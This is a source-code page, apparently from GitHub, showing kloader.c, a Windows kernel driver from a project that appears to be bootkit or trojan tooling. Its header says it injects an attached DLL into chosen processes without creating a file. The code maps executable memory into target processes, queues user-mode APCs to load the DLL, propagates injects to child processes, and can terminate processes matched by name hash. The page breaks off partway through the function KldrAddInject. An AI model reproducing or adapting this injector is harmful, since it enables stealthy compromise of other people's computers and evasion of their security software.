-
Notifications
You must be signed in to change notification settings - Fork 158
/
Copy pathkloader.c
1471 lines (1214 loc) · 41.3 KB
/
kloader.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KLoader project
//
// module: kloader.c
// $Revision: 85 $
// $Date: 2012-07-20 17:17:35 +0400 (Пт, 20 июл 2012) $
// description:
// Kernel-mode loader for user DLL images. Main module.
// Injects an attached DLL into specified process(es) without creating a file.
// Target DLLs are being attached to the driver image by FJ joiner utility.
#include <ntifs.h>
#include <ntddk.h>
#include <ntimage.h>
#include "version.h"
#include "ntddkex.h"
#include "kdbg.h"
#include "kloader.h"
#include "bklib.h"
#include "..\bkdrv\bkdrv.h"
#include "..\bkdrv\handle.h"
#include "pesup.h"
// Support for attached files
#include "joiner.h"
#ifdef _BK_VFS
#include "..\fslib\fslib.h"
#endif
#ifdef _BK_FILTER
#include "..\bkfilter\bkfilter.h"
#endif
#ifdef _BK_KIP
#include "..\kiplib\kiplib.h"
#endif
#ifdef _BK_KBOT
#include "..\kbot\kbot.h"
#endif
// To bypass "ntoskrnl.lib(loadcfg.obj) : error LNK2001: unresolved external symbol ___security_cookie" error
// while building with WIN7 WDK
int __security_cookie=__LINE__;
UNICODE_STRING g_uNtdll = RTL_CONSTANT_STRING(L"ntdll.dll");
UNICODE_STRING g_uWowNtdll = RTL_CONSTANT_STRING(L"wow64\\ntdll.dll");
UNICODE_STRING g_uKernel32 = RTL_CONSTANT_STRING(L"kernel32.dll");
UNICODE_STRING g_uKernelbase = RTL_CONSTANT_STRING(L"kernelbase.dll");
UNICODE_STRING g_uWow64 = RTL_CONSTANT_STRING(L"wow64.dll");
UNICODE_STRING g_uNtdll32 = RTL_CONSTANT_STRING(L"ntdll32.dll");
UNICODE_STRING g_uUser32 = RTL_CONSTANT_STRING(L"user32.dll");
UNICODE_STRING g_uGdi32 = RTL_CONSTANT_STRING(L"gdi32.dll");
UNICODE_STRING g_uWowKernel32 = RTL_CONSTANT_STRING(L"wow64\\kernel32.dll");
UNICODE_STRING g_uExplorer = RTL_CONSTANT_STRING(L"explorer.exe");
ANSI_STRING g_InjectFile = RTL_CONSTANT_STRING("\\INJECTS.SYS");
PHANDLE_TABLE g_ActiveProcessDb = NULL;
LIST_ENTRY g_InjectDescriptorListHead = {&g_InjectDescriptorListHead, &g_InjectDescriptorListHead};
KSPIN_LOCK g_InjectDescriptorListLock = {0};
KIRQL g_InjectDescriptorOldIrql = 0;
VOID __stdcall Wow64LoadDllApcStub(VOID);
PVOID __stdcall AppAlloc(ULONG Size)
{
return(MyAllocatePool(PagedPool, Size));
}
VOID __stdcall AppFree(PVOID pMem)
{
MyFreePool(pMem);
}
#ifdef _DRIVER_SUPPORTS_UNLOAD
LONG volatile g_WorkerEntryCount = 0;
#define ENTER_WORKER() InterlockedIncrement(&g_WorkerEntryCount)
#define LEAVE_WORKER() InterlockedDecrement(&g_WorkerEntryCount)
VOID WaitWorkers(VOID)
{
do
{
LARGE_INTEGER Period = {0};
Period.QuadPart = _RELATIVE(_MILLISECONDS(100));
KeDelayExecutionThread(KernelMode, TRUE, &Period);
} while(g_WorkerEntryCount);
}
#else
#define ENTER_WORKER()
#define LEAVE_WORKER()
#define WaitWorkers()
#endif
// ---- Pid context stubs -------------------------------------------------------------------------------------------------
_inline PPID_CONTEXT PidCreateContext(HANDLE Key)
{
PPID_CONTEXT PidCtx;
if (!HandleCreate(g_ActiveProcessDb, Key, &PidCtx))
PidCtx = NULL;
return(PidCtx);
}
_inline PPID_CONTEXT PidGetContext(HANDLE Key)
{
PPID_CONTEXT PidCtx;
if (!HandleOpen(g_ActiveProcessDb, Key, &PidCtx))
PidCtx = NULL;
return(PidCtx);
}
#define PidReleaseContext(PidCtx) HandleClose(g_ActiveProcessDb, NULL, CONTAINING_RECORD(PidCtx, HANDLE_RECORD, Context))
#define PidDeleteContext(PidCtx) HandleClose(g_ActiveProcessDb, NULL, CONTAINING_RECORD(PidCtx, HANDLE_RECORD, Context))
// ---- Inject descriptor list stubs ----------------------------------------------------------------------------------------
VOID LockInjectDescriptorList(VOID)
{
KIRQL Irql;
KeAcquireSpinLock(&g_InjectDescriptorListLock, &Irql);
g_InjectDescriptorOldIrql = Irql;
}
VOID UnlockInjectDescriptorList(VOID)
{
KeReleaseSpinLock(&g_InjectDescriptorListLock, g_InjectDescriptorOldIrql);
}
// ---- Miscellaneous routines ----------------------------------------------------------------------------------------------
//
// Compares names of two modules. Returns TRUE if the names are equal.
static BOOL EqualModuleName(PUNICODE_STRING ModuleName, PUNICODE_STRING OtherName)
{
BOOL Ret = FALSE;
if (ModuleName && (ModuleName->Length >= OtherName->Length))
{
UNICODE_STRING ShortName;
ShortName.Length = OtherName->Length;
ShortName.MaximumLength = OtherName->Length;
ShortName.Buffer = (PWSTR)((PCHAR)ModuleName->Buffer + ModuleName->Length - ShortName.Length);
Ret = (BOOL)RtlEqualUnicodeString(&ShortName, OtherName, TRUE);
}
return(Ret);
}
//
// Returns full path of the main module of the process specified by ProcessId.
static NTSTATUS GetProcessImagePath(
IN HANDLE ProcessId,
OUT PUNICODE_STRING ImagePath
)
{
ULONG bSize;
NTSTATUS ntStatus;
HANDLE hProcess;
CLIENT_ID ClientId = {0};
OBJECT_ATTRIBUTES oa = {0};
ClientId.UniqueProcess = ProcessId;
InitializeObjectAttributes(&oa, NULL, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL);
if (NT_SUCCESS(ZwOpenProcess(&hProcess, GENERIC_READ, &oa, &ClientId)))
{
ntStatus = ZwQueryInformationProcess(hProcess, ProcessImageFileName, NULL, 0, &bSize);
if (ntStatus == STATUS_INFO_LENGTH_MISMATCH)
{
PUNICODE_STRING ProcessFullName = (PUNICODE_STRING)MyAllocatePool(PagedPool, bSize);
if (ProcessFullName)
{
ntStatus = ZwQueryInformationProcess(hProcess, ProcessImageFileName, ProcessFullName, bSize, &bSize);
if (NT_SUCCESS(ntStatus))
{
if (ImagePath->Buffer = MyAllocatePool(NonPagedPool, ProcessFullName->MaximumLength))
{
RtlCopyMemory(ImagePath->Buffer, ProcessFullName->Buffer, ProcessFullName->Length);
ImagePath->Length = ProcessFullName->Length;
ImagePath->MaximumLength = ProcessFullName->MaximumLength;
}
else
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
} // if (NT_SUCCESS(ntStatus))
MyFreePool(ProcessFullName);
} // if (ProcessFullName)
} // if (ntStatus == STATUS_INFO_LENGTH_MISMATCH)
ZwClose(hProcess);
} // if (NT_SUCCESS(ZwOpenProcess(&hProcess, GENERIC_READ, &oa, &ClientId)))
return(ntStatus);
}
static ULONG ModuleNameCrc32A(PANSI_STRING aModuleName)
{
ULONG i = aModuleName->Length;
ULONG Hash;
RtlUpperString(aModuleName, aModuleName);
while(i > 0 && aModuleName->Buffer[i - 1] != '\\') i--;
Hash = BkCRC32(&aModuleName->Buffer[i], aModuleName->Length - i);
return(Hash);
}
static ULONG ModuleNameCrc32U(PUNICODE_STRING uModuleName)
{
ULONG Hash = 0;
ANSI_STRING aName;
if (uModuleName->Length)
{
if (NT_SUCCESS(RtlUnicodeStringToAnsiString(&aName, uModuleName, TRUE)))
{
Hash = ModuleNameCrc32A(&aName);
RtlFreeAnsiString(&aName);
} // if (NT_SUCCESS(RtlUnicodeStringToAnsiString(&aName, ModuleName, TRUE)))
} // if (ModuleName->Length)
return(Hash);
}
//
// References the process object by the specified ID.
HANDLE OpenProcessById(HANDLE ProcessId, ACCESS_MASK AccessMask)
{
HANDLE hProcess;
CLIENT_ID ClientId = {0};
OBJECT_ATTRIBUTES oa = {0};
ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);
ClientId.UniqueProcess = ProcessId;
InitializeObjectAttributes(&oa, NULL, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL);
if (!(NT_SUCCESS(ZwOpenProcess(&hProcess, AccessMask, &oa, &ClientId))))
hProcess = NULL;
return(hProcess);
}
//
// Returns TRUE if the specified process ID belongs to a WOW64 process.
static BOOL IsWow64Process(HANDLE ProcessId)
{
BOOL Ret = FALSE;
HANDLE hProcess = OpenProcessById(ProcessId, GENERIC_READ);
PVOID ProcessWow64Info = NULL;
if (hProcess)
{
NTSTATUS ntStatus = ZwQueryInformationProcess(hProcess, ProcessWow64Information, &ProcessWow64Info, sizeof(PVOID), NULL);
if (NT_SUCCESS(ntStatus) && ProcessWow64Info != NULL)
Ret = TRUE;
ZwClose(hProcess);
} // if (hProcess)
return(Ret);
}
//
// Allocates and initialize new INJECT_DESCRIPTOR structure.
//
PINJECT_DESCRIPTOR AllocateInjectDescriptor(
ULONG ProcessHash, // target process name hash
ULONG ModuleId, // ID of the module to inject (typicaly it's name hash)
PVOID Module, // module to inject
ULONG AttachCount, // number of attach attempts
ULONG Flags // various flags
)
{
PINJECT_DESCRIPTOR InjDesc = (PINJECT_DESCRIPTOR)MyAllocatePool(NonPagedPool, sizeof(INJECT_DESCRIPTOR));
ASSERT(Module);
if (InjDesc)
{
RtlZeroMemory(InjDesc, sizeof(INJECT_DESCRIPTOR));
#if _DBG
InjDesc->Magic = INJECT_DESCRIPTOR_MAGIC;
#endif
InitializeListHead(&InjDesc->InjectListEntry);
InitializeListHead(&InjDesc->ProcessListEntry);
InjDesc->Flags |= Flags;
InjDesc->AttachCount = AttachCount;
InjDesc->InjectModuleId = ModuleId;
if (ProcessHash)
{
InjDesc->TargetProcessHash = ProcessHash;
InjDesc->Flags |= INJECT_SPECIFIED_PROCESS;
}
if (Flags & INJECT_SPECIFIED_MODULE)
{
// Injecting specified module (has a path)
InjDesc->InjectModulePath = (PUNICODE_STRING)Module;
}
else
{
// Injecting from memory buffer
InjDesc->InjectModuleBuffer = Module;
}
} // if (InjDesc)
return(InjDesc);
}
//
// Inserts specified INJECT_DESCRIPTOR into global inject descriptor list.
VOID InsertInjectDescriptor(PINJECT_DESCRIPTOR InjDesc)
{
ASSERT_INJECT_DESCRIPTOR(InjDesc);
ASSERT(InjDesc->AttachCount != 0);
ASSERT(InjDesc->ReferenceCount == 0);
LockInjectDescriptorList();
InjDesc->ReferenceCount = 1;
InsertTailList(&g_InjectDescriptorListHead, &InjDesc->InjectListEntry);
UnlockInjectDescriptorList();
}
//
// Releases specified INJECT_DESCRIPTOR structure.
VOID ReleaseInjectDescriptor(PINJECT_DESCRIPTOR InjDesc)
{
ASSERT_INJECT_DESCRIPTOR(InjDesc);
ASSERT(InjDesc->ReferenceCount == 0);
if (InjDesc->InjectModulePath)
MyFreePool(InjDesc->InjectModulePath);
if (InjDesc->InjectModuleBuffer)
MyFreePool(InjDesc->InjectModuleBuffer);
MyFreePool(InjDesc);
}
//
// Decrements INJECT_DESCRIPTOR reference count. Releases INJECT_DESCRIPTOR when reference count reaches 0.
VOID DereferenceInjectDescriptor(PINJECT_DESCRIPTOR InjDesc)
{
ASSERT_INJECT_DESCRIPTOR(InjDesc);
ASSERT(InjDesc->ReferenceCount > 0);
if (InterlockedDecrement(&InjDesc->ReferenceCount) == 0 && InjDesc->AttachCount == 0)
ReleaseInjectDescriptor(InjDesc);
}
// ---- Loader APC stubs --------------------------------------------------------------------------------------------------
VOID _stdcall MyKernelApcRoutine(
PKAPC Apc,
PKNORMAL_ROUTINE* NormalRoutine,
PVOID NormalContext,
PVOID SystemArgument1,
PVOID SystemArgument2
)
{
MyFreePool(Apc);
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
UNREFERENCED_PARAMETER(SystemArgument1);
UNREFERENCED_PARAMETER(SystemArgument2);
}
// --------------------------------------------------------------------------------------------------------------------------
#ifdef _BK_KILL_PROCESS
//
// Searches for the process with the specified name hash and terminates it.
//
NTSTATUS SearchAndKillProcess(
ULONG ProcessNameHash
)
{
ULONG Size = 0x10000;
NTSTATUS ntStatus;
PSYSTEM_PROCESS_INFORMATION pProcInfo0, pProcInfo;
do // Query system information loop
{
if (!(pProcInfo = MyAllocatePool(PagedPool, Size)))
{
ntStatus = STATUS_INSUFFICIENT_RESOURCES;
break;
}
ntStatus = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, pProcInfo, Size, &Size);
if (NT_SUCCESS(ntStatus))
break;
else
{
MyFreePool(pProcInfo);
}
} while(TRUE);
if (NT_SUCCESS(ntStatus))
{
pProcInfo0 = pProcInfo;
ntStatus = STATUS_OBJECT_NAME_NOT_FOUND;
do // enumerating processes
{
if (pProcInfo->NumberOfThreads)
{
// Comparing process name hash
if (ProcessNameHash == ModuleNameCrc32U(&pProcInfo->ImageName))
{
// Obtaining process handle
HANDLE hProcess = OpenProcessById(pProcInfo->UniqueProcessId, GENERIC_ALL);
if (hProcess)
{
// Terminating the process
ntStatus = ZwTerminateProcess(hProcess, STATUS_SUCCESS);
ZwClose(hProcess);
}
} // if (ProcessNameHash == ModuleNameCrc32U(&pProcInfo->ImageName))
} // if (pProcInfo->NumberOfThreads)
} while(pProcInfo->NextEntryOffset && ((PCHAR)pProcInfo += pProcInfo->NextEntryOffset));
MyFreePool(pProcInfo0);
} // if (NT_SUCCESS(ntStatus))
return(ntStatus);
}
#endif // _BK_KILL_PROCESS
//
// Builds PE image from a PE file
BOOL LoaderBuildImage(
PCHAR NewBase, // New PE image base
PCHAR ModuleBuffer // buffer containing PE file
)
{
BOOL Ret = TRUE;
ULONG i, NumberSections, FileAlign, bSize;
PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)PeSupGetImagePeHeader(ModuleBuffer);
PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(Pe);
PIMAGE_DATA_DIRECTORY DataDir;
LONG RelocSize;
NumberSections = Pe->FileHeader.NumberOfSections;
FileAlign = PeSupGetOptionalField(Pe, FileAlignment);
RtlCopyMemory(NewBase, ModuleBuffer, PeSupGetOptionalField(Pe, SizeOfHeaders));
// Copying sections
for(i=0; i<NumberSections; i++)
{
bSize = PeSupAlign(Section->SizeOfRawData, FileAlign);
if (bSize)
RtlCopyMemory(NewBase + Section->VirtualAddress, ModuleBuffer + Section->PointerToRawData, bSize);
Section += 1;
}
// Processing relocs
DataDir = PeSupGetDirectoryEntryPtr(Pe, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (DataDir->VirtualAddress && (RelocSize = DataDir->Size))
{
ULONG_PTR BaseDelta = ((ULONG_PTR)NewBase - (ULONG_PTR)PeSupGetOptionalField(Pe, ImageBase));
PIMAGE_BASE_RELOCATION_EX Reloc = (PIMAGE_BASE_RELOCATION_EX)(NewBase + DataDir->VirtualAddress);
while(RelocSize > IMAGE_SIZEOF_BASE_RELOCATION)
{
ULONG NumberRelocs = (Reloc->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / sizeof(WORD);
PCHAR PageVa = NewBase + Reloc->VirtualAddress;
if (RelocSize >= (LONG)Reloc->SizeOfBlock)
{
for (i=0; i<NumberRelocs; i++)
{
USHORT RelocType = (Reloc->TypeOffset[i] >> IMAGE_REL_BASED_SHIFT);
switch(RelocType)
{
case IMAGE_REL_BASED_ABSOLUTE:
// Do nothing. This one is used just for alingment.
break;
case IMAGE_REL_BASED_HIGHLOW:
*(PULONG)(PageVa + (Reloc->TypeOffset[i] & IMAGE_REL_BASED_MASK)) += (ULONG)BaseDelta;
break;
#ifdef _M_AMD64
case IMAGE_REL_BASED_DIR64:
*(PULONG_PTR)(PageVa + (Reloc->TypeOffset[i] & IMAGE_REL_BASED_MASK)) += BaseDelta;
break;
#endif
default:
ASSERT(FALSE);
break;
} // switch(RelocType)
} // for (i=0; i<NumberRelocs; i++)
} // if (RelocSize >= (LONG)Reloc->SizeOfBlock)
RelocSize -= (LONG)Reloc->SizeOfBlock;
Reloc = (PIMAGE_BASE_RELOCATION_EX)((PCHAR)Reloc + Reloc->SizeOfBlock);
} // while(RelocSize > IMAGE_SIZEOF_BASE_RELOCATION)
} // if (!ImageAtBase && DataDir->VirtualAddress && (RelocSize = DataDir->Size)
return(Ret);
}
//
// Creates a section object of the specified size and maps it into the current process.
//
PCHAR LoaderAllocateSection(
ULONG SizeOfSection
)
{
HANDLE hSection = 0;
SIZE_T ViewSize = 0;
NTSTATUS ntStatus = STATUS_SUCCESS;
PVOID SectionBase = NULL;
OBJECT_ATTRIBUTES oa = {0};
LARGE_INTEGER SectionSize = {0}, SectionOffset = {0};
SectionSize.LowPart = SizeOfSection;
ASSERT(SectionSize.QuadPart == (ULONGLONG)SectionSize.LowPart);
InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, 0, NULL);
ntStatus = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, &SectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
if (NT_SUCCESS(ntStatus))
{
ntStatus = ZwMapViewOfSection(hSection, NtCurrentProcess(), &SectionBase, 0, SectionSize.LowPart, &SectionOffset,
&ViewSize, ViewUnmap, 0, PAGE_EXECUTE_READWRITE);
if (NT_SUCCESS(ntStatus))
{
KdPrint(("KLDR: Image section for DLL mapped within process %x at %p\n", PsGetCurrentProcessId(), SectionBase));
RtlZeroMemory(SectionBase, SectionSize.LowPart);
} // if (NT_SUCCESS(ntStatus))
else
{
KdPrint(("KLDR: Failed mapping an image section to process %x, status 0x%x\n", PsGetCurrentProcessId(), ntStatus));
}
} // if (NT_SUCCESS(ntStatus))
if (hSection)
ZwClose(hSection);
return((PCHAR)SectionBase);
}
//
// Allocates and initializes loader-specific context.
//
PLOADER_CONTEXT LoaderAllocateContext(
HANDLE ProcessId,
PINJECT_DESCRIPTOR InjDesc,
BOOL IsWow64
)
{
NTSTATUS ntStatus;
HANDLE hProcess;
PLOADER_CONTEXT LdrCtx = NULL;
PCHAR ImageBase;
ULONG SizeOfImage = 0, SizeOfSection = sizeof(LOADER_CONTEXT) + LOADER_PATH_MAX + sizeof(WCHAR);
if (!(InjDesc->Flags & INJECT_SPECIFIED_MODULE))
{
PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)PeSupGetImagePeHeader(InjDesc->InjectModuleBuffer);
SizeOfImage = _ALIGN(PeSupGetOptionalField(Pe, SizeOfImage), PAGE_SIZE);
SizeOfSection += SizeOfImage;
}
if (ImageBase = LoaderAllocateSection(SizeOfSection))
{
PCHAR CurrentStub = (PCHAR)&LoadDllApcStub;
#ifdef _M_AMD64
if (IsWow64)
{
CurrentStub = (PCHAR)&LoadDllApcStubWow64;
}
#endif
LdrCtx = (PLOADER_CONTEXT)(ImageBase + SizeOfImage);
RtlCopyMemory(&LdrCtx->LoaderStub, CurrentStub, LOADER_STUB_MAX);
LdrCtx->uDllPath.Buffer = (PWSTR)&LdrCtx->wDllPath;
LdrCtx->Flags = InjDesc->Flags;
KdPrint(("KLDR: Loader stub for process %x located at 0x%p\n", ProcessId, &LdrCtx->LoaderStub));
if (InjDesc->Flags & INJECT_SPECIFIED_MODULE)
{
// Injecting from a file
RtlCopyMemory(&LdrCtx->wDllPath, InjDesc->InjectModulePath->Buffer, InjDesc->InjectModulePath->Length);
LdrCtx->uDllPath.Length = InjDesc->InjectModulePath->Length;
LdrCtx->uDllPath.MaximumLength = InjDesc->InjectModulePath->Length;
LdrCtx->wDllPath[LdrCtx->uDllPath.Length/sizeof(WCHAR)] = 0;
}
else
{
// Injecting from a buffer
LdrCtx->ImageBase = (ULONGLONG)ImageBase;
// Initializing PE images
if (!LoaderBuildImage(ImageBase, InjDesc->InjectModuleBuffer))
{
ZwUnmapViewOfSection(NtCurrentProcess(), ImageBase);
LdrCtx = NULL;
}
}
} // if (ImageBase = LoaderAllocateSection(bSize))
return(LdrCtx);
}
//
// Queues loader APC.
BOOL KldrQueueApc(
PETHREAD TargetThread,
PVOID ApcRoutine,
PVOID ApcContext,
BOOL IsWow64
)
{
PKAPC Apc;
BOOL Ret = FALSE;
LARGE_INTEGER Period = {0};
if (Apc = MyAllocatePool(NonPagedPool, sizeof(KAPC)))
{
KeInitializeApc(
Apc,
(PKTHREAD)TargetThread,
OriginalApcEnvironment,
&MyKernelApcRoutine,
NULL,
(PKNORMAL_ROUTINE)ApcRoutine,
UserMode,
ApcContext
);
if ((Ret = KeInsertQueueApc(Apc, NULL, NULL, 0)) && !IsWow64)
KeDelayExecutionThread(UserMode, TRUE, &Period);
} // if (Apc = MyAllocatePoolWithTag(
return(Ret);
}
//
// Initializes inject APC stub and loader-specific context.
BOOL InjectInitializeStub(HANDLE ProcessId, PINJECT_CONTEXT InjCtx, FUNC_PROTECT_MEM pZwProtectVirtualMemory, BOOL IsWow64)
{
BOOL Ret = FALSE;
if (InjCtx->LdrCtx = LoaderAllocateContext(ProcessId, InjCtx->InjDesc, IsWow64))
{
InjCtx->ApcRoutine = &InjCtx->LdrCtx->LoaderStub;
InjCtx->ApcContext = InjCtx->LdrCtx;
InjCtx->Flags |= INJECT_STATE_WAITING_APC;
Ret = TRUE;
} // if (InjCtx->LdrCtx = LoaderAllocateContext(ProcessId, InjCtx->InjDesc, IsWow64))
return(Ret);
}
//
// Resolves all necessary NTDLL imports.
//
BOOL ResolveNtdllImport(
PCHAR NtdllBase,
PPROCESS_IMPORT Import
)
{
BOOL Ret = FALSE;
do // not a loop
{
if (!(Import->pLdrLoadDll = (ULONGLONG)BkGetFunctionAddress(NtdllBase, "LdrLoadDll")))
{
KdPrint(("KLDR: NTDLL!LdrLoadDll not resolved!\n"));
break;
}
if (!(Import->pLdrGetProcedureAddress = (ULONGLONG)BkGetFunctionAddress(NtdllBase, "LdrGetProcedureAddress")))
{
KdPrint(("KLDR: NTDLL!LdrGetProcedureAddress not resolved!\n"));
break;
}
if (!(Import->pNtProtectVirtualMemory = (ULONGLONG)BkGetFunctionAddress(NtdllBase, "NtProtectVirtualMemory")))
{
KdPrint(("KLDR: NTDLL!NtProtectVirtualMemory not resolved!\n"));
break;
}
Ret = TRUE;
} while(FALSE);
return(Ret);
}
//
// Attaches specified INJECT_DESCRIPTOR to the specified PID_CONTEXT. Increments INJECT_DESCRIPTOR's reference count.
//
VOID AttachInjectDescriptor(
PPID_CONTEXT PidCtx,
PINJECT_DESCRIPTOR InjDesc
)
{
ASSERT(PidCtx->InjectCount < MAX_INJECTS_PER_PROCESS);
InterlockedIncrement(&InjDesc->ReferenceCount);
if (InterlockedDecrement(&InjDesc->AttachCount) == 0)
RemoveEntryList(&InjDesc->InjectListEntry);
PidCtx->InjectContext[PidCtx->InjectCount].InjDesc = InjDesc;
PidCtx->InjectCount += 1;
}
//
// Attaches the specified inject descriptor to the specified process.
// Creates new PID_CONTEXT for the process if it is not exists yet.
//
BOOL PidAttachInjectDescriptor(
HANDLE ProcessId,
PINJECT_DESCRIPTOR InjDesc,
BOOL IsWow64
)
{
BOOL Ret = FALSE, Reused = FALSE;
PPID_CONTEXT PidCtx;
if (!(PidCtx = PidCreateContext(ProcessId)))
{
PidCtx = PidGetContext(ProcessId);
Reused = TRUE;
}
if (PidCtx)
{
AttachInjectDescriptor(PidCtx, InjDesc);
#ifdef _M_AMD64
if (IsWow64)
PidCtx->Flags |= INJECT_WOW64_PROCESS;
#endif
if (Reused)
// Context was created earlier and currently reused
PidReleaseContext(PidCtx);
Ret = TRUE;
} // if (PidCtx)
return(Ret);
}
//
// Searches for apropriate INJECT_DESCRIPTOR for the specified target process ID.
// Tries to attach found INJECT_DESCRIPTOR to a process PID_CONTEXT structure.
//
BOOL FindAttachInjectDescriptor(
HANDLE ProcessId, // target process ID
HANDLE ParentId, // parent process ID
PUNICODE_STRING ProcessImagePath // full path to the target process image file
)
{
PLIST_ENTRY pEntry;
PPID_CONTEXT PidCtx;
PINJECT_DESCRIPTOR InjDesc;
BOOL Ret = FALSE;
ULONG i, ProcessNameHash;
BOOL IsWow64 = FALSE;
if (ProcessNameHash = ModuleNameCrc32U(ProcessImagePath))
{
#ifdef _M_AMD64
IsWow64 = IsWow64Process(ProcessId);
#endif
LockInjectDescriptorList();
pEntry = g_InjectDescriptorListHead.Flink;
while(pEntry != &g_InjectDescriptorListHead)
{
InjDesc = CONTAINING_RECORD(pEntry, INJECT_DESCRIPTOR, InjectListEntry);
pEntry = pEntry->Flink;
if (!(InjDesc->Flags & INJECT_SPECIFIED_PROCESS) || (InjDesc->TargetProcessHash == ProcessNameHash))
Ret = PidAttachInjectDescriptor(ProcessId, InjDesc, IsWow64);
} // while(pEntry != &g_InjectDescriptorListHead)
// Looking for the process tree injects specified for the parent process,
// propagating such injects to the child.
if (PidCtx = PidGetContext(ParentId))
{
for (i=0; i<PidCtx->InjectCount; i++)
{
InjDesc = PidCtx->InjectContext[i].InjDesc;
if (InjDesc->Flags & INJECT_PROCESS_TREE)
Ret = PidAttachInjectDescriptor(ProcessId, InjDesc, IsWow64);
}
PidReleaseContext(PidCtx);
} // if (PidCtx = PidGetContext(ParentId))
UnlockInjectDescriptorList();
} // if (ProcessNameHash = ModuleNameCrc32U(ProcessImagePath))
return(Ret);
}
// ---- KLDR API ------------------------------------------------------------------------------------------------------------
//
// Creates and initializes inject descriptor for the specfied DLL to inject it into the specified list of processes.
//
NTSTATUS KldrAddInject(
PCHAR VfsDllName, // VFS-based DLL path
PCHAR ProcessList, // list of names of the processes to inject the DLL to
PCHAR pImageBuffer, // (OPTIONAL) memory buffer containing pre-loaded image file
ULONG ImageSize, // size of the memory buffer in bytes
ULONG Flags, // various inject flags
ULONG AttachCount // number of inject attempts
)
{
NTSTATUS ntStatus;
PCHAR Buffer = NULL;
ULONG NameHash, ImageId, Size, Len;
ANSI_STRING aDllName, aProcessName;
PIMAGE_NT_HEADERS Pe;
PIMAGE_DOS_HEADER Mz;
PINJECT_DESCRIPTOR InjDesc;
RtlInitAnsiString(&aDllName, VfsDllName);
